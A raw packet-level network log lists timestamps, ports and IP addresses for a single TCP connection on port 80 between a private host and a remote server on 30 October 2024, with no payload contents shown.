Oct 30, 2024 12:36:33.275923967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275934935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.275959015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.275991917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276000977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276029110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276062012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276063919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276096106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276129007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276144981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276164055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276196957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276206970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276231050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276263952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276278973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276298046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276330948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276344061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276401997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276452065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276460886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276485920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276530981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276536942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276571035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276604891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276618004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276638031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276673079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276684046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276705980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276740074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276752949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276774883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276808023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276818037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276843071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276878119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276886940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276911974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276947021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.276952028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.276981115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277018070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277024031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277053118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277087927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277112961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277121067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277154922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277179956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277188063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277223110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277223110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277256966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277291059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277312040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277323961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277362108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277365923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277394056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277427912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277442932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277462006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277494907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277509928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277529001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277563095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277574062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277595997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277630091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277648926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277662992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277698040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277705908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277729988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277764082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277776957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277796984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277831078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277852058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277864933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277900934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277914047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.277935028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277968884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.277976036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.278001070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278036118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278053999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.278068066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278100967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278121948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.278139114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278175116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278192043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.278208971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278242111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278255939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.278275013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278309107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278316975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.278341055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278376102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278378963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.278412104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.278446913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.505131006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.505186081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.639257908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.646739006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646768093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646780014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646790981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646802902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646814108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646814108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.646828890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646841049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.646883011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.646898985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646912098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646922112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646934032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646939039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.646945953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646958113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646965981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.646970034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646981955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646991968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.646996021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647002935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647020102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647028923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647037983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647041082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647052050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647063017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647067070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647077084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647094011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647097111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647105932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647115946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647116899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647129059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647140980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647147894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647151947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647164106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647175074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647176027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647186041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647197962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647207975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647208929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647223949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647226095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647247076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647265911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647589922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647602081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647640944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647718906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647732019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647742033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647753000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647763968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647764921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647775888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647787094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647793055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647799969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647804022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647816896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647825956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647841930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647854090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647861958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647866964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647874117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647883892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647911072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.647981882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.647994041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648004055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648015022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648025990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648036957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648046970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648051977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648058891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648070097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648081064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648082018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648103952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648121119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648134947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648278952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648291111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648300886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648313046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648320913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648350000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648427010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648438931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648448944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648462057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648472071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648475885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648483992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648487091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648495913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648509026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648516893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648520947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648533106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648542881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648549080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648565054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648574114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648583889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648585081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648596048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648607969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648612976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648619890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648631096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648642063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648647070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648653984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648670912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648679018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648682117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648694038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648706913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648716927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648718119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648735046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648740053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648747921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648758888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648771048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648782015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648792028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648793936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648807049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648816109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648823977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648837090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648848057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648858070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648864985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648869038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648883104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648893118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648894072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648906946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648909092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648919106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648929119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648936033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648950100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648952961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648962021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648972988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.648981094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.648992062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649003983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649013996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649017096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649025917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649029016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649036884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649048090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649055004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649059057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649080992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649084091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649091959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649101973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649108887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649113894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649126053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649137020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649147987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649153948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649159908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649172068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649183989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649194956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649197102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649207115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649218082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649219036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649228096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649235964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649247885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649251938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649259090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649266005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649271965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649282932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649293900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649297953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649305105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649316072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649327993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649333000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649339914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649347067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649353981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649363995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.649367094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.649394035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650192976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650206089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650216103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650227070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650238037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650238037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650249958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650260925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650266886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650271893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650285006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650295973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650298119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650312901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650326014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650335073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650340080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650346041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650357962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650368929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.650372982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.650378942 CET	80	49744	185.215.113.16	192.168.2.4
